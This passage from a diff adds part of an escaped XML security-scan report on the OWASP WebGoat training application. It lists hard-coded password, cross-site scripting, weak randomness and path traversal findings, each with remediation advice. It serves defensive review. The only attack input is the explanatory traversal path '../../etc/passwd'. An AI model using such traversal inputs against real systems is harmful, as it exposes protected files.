+        password that may compromise system security in a way that cannot be easily
+        remedied. The use of a hard-coded password significantly increases the possibility
+        that the account being protected will be compromised. Moreover, the password
+        cannot be changed without patching the software. If a hard-coded password
+        is compromised in a commercial product, all deployed instances may be vulnerable
+        to attack.\r\n\r\nStore passwords out-of-band from the application code. Follow
+        best practices for protecting credentials stored in locations such as configuration
+        or properties files.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/259.html)\r\n\r\n\"
+        note=\"\" cweid=\"259\" remediationeffort=\"4\" exploitLevel=\"1\" categoryid=\"10\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"16\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"20\" categoryname=\"Cross-Site Scripting\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Cross-site scripting (XSS) attacks occur when an attacker uses a web
+        application to send malicious code, generally in the form of a browser side
+        script, to a different end user. Flaws that allow these attacks to succeed
+        occur whenever a web application uses untrusted data in the output it generates
+        without validating or encoding it.  XSS vulnerabilities are commonly exploited
+        to steal or manipulate cookies, modify presentation of content, and compromise
+        sensitive information, with new attack vectors being discovered on a regular
+        basis.  XSS is also commonly referred to as HTML injection.\"/>\n<para text=\"XSS
+        vulnerabilities can be either persistent or transient (often referred to as
+        stored and reflected, respectively).  In a persistent XSS vulnerability, the
+        injected code is stored by the application, for example within a blog comment
+        or message board.  The attack occurs whenever a victim views the page containing
+        the malicious script.  In a transient XSS vulnerability, the injected code
+        is included directly in the HTTP request.  These attacks are often carried
+        out via malicious URLs sent via email or another website and requires the
+        victim to browse to that link.  The consequence of an XSS attack to a victim
+        is the same regardless of whether it is persistent or transient; however,
+        persistent XSS vulnerabilities are likely to affect a greater number of victims
+        due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para text=\"Several
+        techniques can be used to prevent XSS attacks. These techniques complement
+        each other and address security at different points in the application. Using
+        multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
+        all output generated from user-supplied input, selecting the appropriate method
+        of encoding based on the use case of the untrusted data.  For example, if
+        the data is being written to the body of an HTML page, use HTML entity encoding.
+        \ However, if the data is being used to construct generated Javascript or
+        if it is consumed by client-side methods that may interpret it as code (a
+        common technique in Web 2.0 applications), additional restrictions may be
+        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
+        input using positive filters (white lists) to ensure that it conforms to the
+        expected format, using centralized data validation routines when possible.
+        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
+        notes, or other data that will be displayed by the application.  If users
+        are permitted to include HTML tags, then carefully limit access to specific
+        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
+        cweid=\"83\" cwename=\"Improper Neutralization of Script in Attributes in
+        a Web Page\" pcirelated=\"false\" owasp=\"931\">\n<description>\n<text text=\"The
+        application does not filter text or other data for potentially malicious HTML
+        content. This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\"/>\n</description>\n<dynamicflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"277\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"278\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/css/menu.css\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"279\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/images/logos/owasp.jpg\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"280\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/javascript/javascript.js\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"281\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/CommandInjection_files/image005.png\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"284\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/formate.css\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"282\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/HttpSplitting_files/filelist.xml\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"283\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/UncheckedEmail_files/image001.png\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"285\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lessons/General/redirect.jsp\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"286\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lessons/RoleBasedAccessControl/images/orgChart.jpg\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Applications commonly use cryptography to implement authentication
+        mechanisms and to ensure the confidentiality and integrity of sensitive data,
+        both in transit and at rest.  The proper and accurate implementation of cryptography
+        is extremely critical to its efficacy.  Configuration or coding mistakes as
+        well as incorrect assumptions may negate a large degree of the protection
+        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
+        text=\"Common cryptographic mistakes include, but are not limited to, selecting
+        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
+        data, using predictable entropy sources, and mismanaging or hard-coding keys.
+        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
+        can improve security by designing their own cryptographic algorithm; however,
+        one of the basic tenets of cryptography is that any cipher whose effectiveness
+        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Select the appropriate type of cryptography for the intended purpose.
+        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
+        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
+        for the data being protected; for high assurance applications, 256-bit symmetric
+        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
+        key storage, and ensure that plaintext data and key material are not inadvertently
+        exposed.\"/>\n</recommendations>\n<cwe cweid=\"331\" cwename=\"Insufficient
+        Entropy\" pcirelated=\"false\" sans=\"327\">\n<description>\n<text text=\"Standard
+        random number generators do not provide a sufficient amount of entropy when
+        used for security purposes. Attackers can brute force the output of pseudorandom
+        number generators such as rand().\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Insufficient Entropy\" count=\"1\" issueid=\"173\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Math.random\" description=\"Standard
+        random number generators do not provide a sufficient amount of entropy when
+        used for security purposes. Attackers can brute force the output of pseudorandom
+        number generators such as rand().\r\n\r\nIf this random number is used where
+        security is a concern, such as generating a session key or session identifier,
+        use a trusted cryptographic random number generator instead. These can be
+        found on the Windows platform in the CryptoAPI or in an open source library
+        such as OpenSSL. In Java, use the SecureRandom object to ensure sufficient
+        entropy.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/331.html)\r\n\r\n\"
+        note=\"\" cweid=\"331\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"12\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakSessionID.java\"
+        line=\"77\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakSessionID\"
+        functionprototype=\"void &lt;clinit&gt;(void)\" functionrelativelocation=\"75\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"1\" categoryname=\"Directory Traversal\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Allowing user input to control paths used in filesystem operations
+        may enable an attacker to access or modify otherwise protected system resources
+        that would normally be inaccessible to end users.  In some cases, the user-provided
+        input may be passed directly to the filesystem operation, or it may be concatenated
+        to one or more fixed strings to construct a fully-qualified path.\"/>\n<para
+        text=\"When an application improperly cleanses special character sequences
+        in user-supplied filenames, a path traversal (or directory traversal) vulnerability
+        may occur.  For example, an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"73\" cwename=\"External Control
+        of File Name or Path\" pcirelated=\"false\" sans=\"22\" certcpp=\"877\">\n<description>\n<text
+        text=\"This call contains a path manipulation flaw.  The argument to the function
+        is a filename constructed using user-supplied input.  If an attacker is allowed
+        to specify all or part of the filename, it may be possible to gain unauthorized
+        access to files on the server, including those outside the webroot, that would
+        be normally be inaccessible to end users.  The level of exposure depends on
+        the effectiveness of input validation routines, if any.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"238\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The second argument to !operator_javanewinit()
+        contains tainted data from the variable helpFile. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CommandInjection.java\"
+        line=\"171\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.CommandInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"252\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The second argument to !operator_javanewinit()
+        contains tainted data from the variable helpFile. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CommandInjection.java\"
+        line=\"180\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.CommandInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"9\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.FileInputStream.!operator_javanewinit\"
+        description=\"This call to java.io.FileInputStream.!operator_javanewinit()
+        contains a path manipulation flaw. The argument to the function is a filename
+        constructed using user-supplied input. If an attacker is allowed to specify
+        all or part of the filename, it may be possible to gain unauthorized access
+        to files on the server, including those outside the webroot, that would be
+        normally be inaccessible to end users. The level of exposure depends on the
+        effectiveness of input validation routines, if any. The first argument to
+        !operator_javanewinit() contains tainted data from the variable fileName.
+        The tainted data originated from earlier calls to javax.servlet.http.HttpServletRequest.getHeader,
+        javax.servlet.ServletRequest.getParameterValues, javax.servlet.http.HttpServletRequest.getCookies,
+        and javax.servlet.ServletRequest.getParameterNames.\r\n\r\nValidate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible. When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/73.html)
+        \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\" note=\"\"
+        cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"LessonTracker.java\"
